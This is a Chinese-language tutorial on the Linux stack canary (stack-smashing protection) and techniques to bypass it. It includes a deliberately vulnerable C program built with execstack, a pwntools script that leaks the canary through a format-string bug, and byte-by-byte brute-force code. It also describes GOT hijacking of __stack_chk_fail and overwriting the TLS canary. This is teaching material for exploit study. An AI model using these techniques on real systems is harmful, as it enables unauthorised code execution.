Canary機制及繞過策略
Canary機制
Canary 的意思是金絲雀,來源于英國礦井工人用來探查井下氣體是否有毒的金絲雀籠子。工人們每次下井都會帶上一只金絲雀。如果井下的氣體有毒,金絲雀由于對毒性敏感就會停止鳴叫甚至死亡,從而使工人們得到預警。
我們知道,通常棧溢出的利用方式是通過溢出存在于棧上的局部變量,從而讓多出來的數(shù)據(jù)覆蓋 ebp、eip 等,從而達到劫持控制流的目的。棧溢出保護是一種緩沖區(qū)溢出攻擊緩解手段(只是緩解機制,不能徹底的阻止),當函數(shù)存在緩沖區(qū)溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓 shellcode 能夠得到執(zhí)行。當啟用棧保護后,函數(shù)開始執(zhí)行的時候會先往棧底插入 cookie 信息,當函數(shù)真正返回的時候會驗證 cookie 信息是否合法 (棧幀銷毀前測試該值是否被改變),如果不合法就停止程序運行 (棧溢出發(fā)生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 信息給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode 的執(zhí)行,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱為 Canary。
由于 stack overflow 而引發(fā)的攻擊非常普遍也非常古老,相應地一種叫做 Canary 的 mitigation 技術很早就出現(xiàn)在 glibc 里,直到現(xiàn)在也作為系統(tǒng)安全的第一道防線存在。
Canary 不管是實現(xiàn)還是設計思想都比較簡單高效,就是插入一個值在 stack overflow 發(fā)生的高危區(qū)域的尾部。當函數(shù)返回之時檢測 Canary 的值是否經(jīng)過了改變,以此來判斷 stack/buffer overflow 是否發(fā)生。
Canary 與 Windows 下的 GS 保護都是緩解棧溢出攻擊的有效手段,它的出現(xiàn)很大程度上增加了棧溢出攻擊的難度,并且由于它幾乎并不消耗系統(tǒng)資源,所以現(xiàn)在成了 Linux 下保護機制的標配。
Canary原理
gcc相關參數(shù)及意義
-fstack-protector 啟用保護,不過只為局部變量中含有數(shù)組的函數(shù)插入保護
-fstack-protector-all 啟用保護,為所有函數(shù)插入保護
-fstack-protector-strong
-fstack-protector-explicit 只對有明確 stack_protect attribute 的函數(shù)開啟保護
-fno-stack-protector 禁用保護
棧結構
開啟Canary保護的stack的結構如下:
High
Address | |
+-----------------+
| args ? ? ? ? ? ?|
+-----------------+
| return address ?|
+-----------------+
? ?rbp => | old ebp ? ? ? ? |
+-----------------+
?rbp-8 => | canary value ? ?|
+-----------------+
| local variables |
Low | |
Address
Canary繞過技術
格式化字符串漏洞引發(fā)的Canary泄漏
格式化字符串漏洞的內(nèi)容在這里進行了介紹。
演示代碼
下面寫一個具有格式化漏洞的程序testPrint.c:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void vul(char *msg_orig)
{
char msg[128];
? ?memcpy(msg,msg_orig,128);
? ?printf(msg);
char shellcode[64];
? ?puts("Now ,plz give me your shellcode:");
? ?read(0,shellcode,256);
}
int main()
{
? ?puts("So plz leave your message:");
char msg[128];
? ?memset(msg,0,128);
? ?read(0,msg,128);
? ?vul(msg);
? ?puts("Bye!");
return 0;
}
在這里printf存在格式化字符串漏洞,有機可乘呀!!!! 編譯:
gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme testPrint.c
參數(shù)fstack-protector 代表啟用保護,不過只為局部變量中含有數(shù)組的函數(shù)插入保護。
逆向分析
對pwnme進行反匯編:

通過下面的匯編代碼,可知Canary的值存儲在gs:[0x14]的位置。gs寄存器實際指向的是當前棧的 TLS 結構,fs:0x14 指向的正是 stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. ?Not necessarily the
? ? ? ? ? ? ? ? ? ? ? thread descriptor used by libpthread. ?*/
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. ?*/
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
事實上,TLS 中的值由函數(shù) security_init 進行初始化,因此Canary的值是隨機的。
static void
security_init (void)
{
// _dl_random的值在進入這個函數(shù)的時候就已經(jīng)由kernel寫入.
// glibc直接使用了_dl_random的值并沒有給賦值
// 如果不采用這種模式, glibc也可以自己產(chǎn)生隨機數(shù)
//將_dl_random的最后一個字節(jié)設置為0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 設置Canary的值到TLS中
?THREAD_SET_STACK_GUARD (stack_chk_guard);
?_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于設置TLS
#define THREAD_SET_STACK_GUARD(value) \
?THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
函數(shù)開始的時候,先把Canary的值放入棧中(ebp-0x1c),當函數(shù)結束的時候,檢查棧中的數(shù)據(jù)是否和gs:[0x14]中的值相等,如果不相等,則說明這個值被修改過,程序會調用_stackchkfaillocal。如果相等,則正常進行退出。
0x08048536 65a114000000 ? mov eax, dword gs:[0x14] ; testPrint.c:7 {
0x0804853c 8945e4 ? ? ? ? mov dword [var_1ch], eax
. . .
0x08048598 8b45e4 ? ? ? ? mov eax, dword [var_1ch]
0x0804859b 653305140000. ?xor eax, dword gs:[0x14]
0x080485a2 7405 ? ? ? ? ? je 0x80485a9
0x080485a4 ? ? ?e837010000 ? ? call sym.__stack_chk_fail_local
通過上面的分析可知,如果存在溢出可以覆蓋位于 TLS 中保存的 Canary 值那么就可以實現(xiàn)繞過保護機制。
漏洞分析
在print處下斷點,執(zhí)行,輸入aaaa,查看堆棧信息
[0xf7fd6c70]> dcu 0x08048564
Continue until 0x08048564 using 1 bpsize
aaaa
hit breakpoint at: 8048564
[0x08048564]> px @ esp
- offset - 0 1 2 3 4 5 6 7 8 9 ?A B ?C D ?E F ?0123456789ABCDEF
0xffffce20 8cce ffff 0100 0000 1004 fdf7 2785 0408 ............'...
0xffffce30 0000 0000 0100 0000 40d9 fff7 4ccf ffff ?........@...L...
0xffffce40 805d fbf7 6038 fbf7 0000 0000 00d0 fff7 ?.]..`8..........
0xffffce50 0000 0000 30dc fff7 acce ffff a8ce ffff ?....0...........
0xffffce60 0100 0000 0000 0000 7939 e5f7 4b3b e5f7 ?........y9..K;..
0xffffce70 60b1 0408 ffff ffff 1a00 0000 787e def7 ?`...........x~..
0xffffce80 1001 fdf7 d439 fbf7 0050 fbf7 6161 6161 .....9...P..aaaa
0xffffce90 0a00 0000 0000 0000 0000 0000 0000 0000 ................
0xffffcea0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xffffceb0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xffffcec0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xffffced0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xffffcee0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xffffcef0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xffffcf00 0000 0000 0000 0000 0000 0000 001c 7cf4 ..............|.
0xffffcf10 ?d8cf ffff a0ad fef7 cccf ffff 00a0 0408 ................
觀察aaaa在堆棧的偏移。在0x0804859b(Canary檢查)的地方下斷點,輸入bbbbb,查看eax的值,也就是Canary的值。
[0x08048564]> dcu 0x0804859b
Continue until 0x0804859b using 1 bpsize ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?child stopped with signal 28
[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0
bbbbb
hit breakpoint at: 804859b
[0x0804859b]> dr
eax = 0xf47c1c00
ebx = 0x0804a000
ecx = 0xffffce4c
edx = 0x00000100
esi = 0xffffcfcc
edi = 0xffffcf0c
esp = 0xffffce30
ebp = 0xffffcf28
eip = 0x0804859b
eflags = 0x00000286
oeax = 0xffffffff
eax的值是不是有點眼熟。對的就是在printf斷點的第59偏移位置的"001c 7cf4"。為什么是反的?這個是體系結構的問題,這里使用的是小端字節(jié)序。那如果我們輸入'%59$x'豈不是就能獲得Canary的值了嗎?答案是肯定的。其中'%59$x'的意思是獲得第59個偏移的十六進制數(shù)。 具體過程如下面所示:

查看輸出重定向文件,可看出Canary的值被打印出來了。

注入程序
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme')
buf = '%59$x' #構建泄露Canary的格式化字符串
p.recvuntil("message:\n")
p.sendline(buf) #發(fā)送
ret_msg = p.recvuntil('\n')
canary = int(ret_msg,16) #接收到返回的Cannary的值
print hex(canary)
運行結果如下:

Canary的值被成功的獲取,由此我們可以用這個值填充到對應的位置,繞過Canary的檢查,通過shellcode執(zhí)行我們向執(zhí)行的代碼。shellode的利用看這里。
one-by-one 爆破 Canary
對于 Canary,雖然每次進程重啟后的 Canary 不同 (相比 GS,GS 重啟后是相同的),但是同一個進程中的不同線程的 Canary 是相同的, 并且 通過 fork 函數(shù)創(chuàng)建的子進程的 Canary 也是相同的,因為 fork 函數(shù)會直接拷貝父進程的內(nèi)存。我們可以利用這樣的特點,徹底逐個字節(jié)將 Canary 爆破出來。 在著名的 offset2libc 繞過 linux64bit 的所有保護的文章中,作者就是利用這樣的方式爆破得到的 Canary: 這是爆破的 Python 代碼:
print "[+] Brute forcing stack canary "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
? ? ?res = send2server(p + chr(i))
if res != "":
? ? ? ? p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
? ? ? ? print "[-] Exploit failed"
? ? ? ? sys.exit(-1)
canary = p[stop:start-1:-1].encode("hex")
print " ? [+] SSP value is 0x%s" % canary
劫持_stackchk_fail 函數(shù)
已知 Canary 失敗的處理邏輯會進入到 stackchkfailed 函數(shù),stackchkfailed 函數(shù)是一個普通的延遲綁定函數(shù),可以通過修改 GOT 表劫持這個函數(shù)。
參見 ZCTF2017 Login,利用方式是通過 fsb 漏洞篡改 _stackchk_fail 的 GOT 表,再進行 ROP 利用
覆蓋 TLS 中儲存的 Canary 值
已知 Canary 儲存在 TLS 中,在函數(shù)返回前會使用這個值進行對比。當溢出尺寸較大時,可以同時覆蓋棧上儲存的 Canary 和 TLS 儲存的 Canary 實現(xiàn)繞過。
公眾號
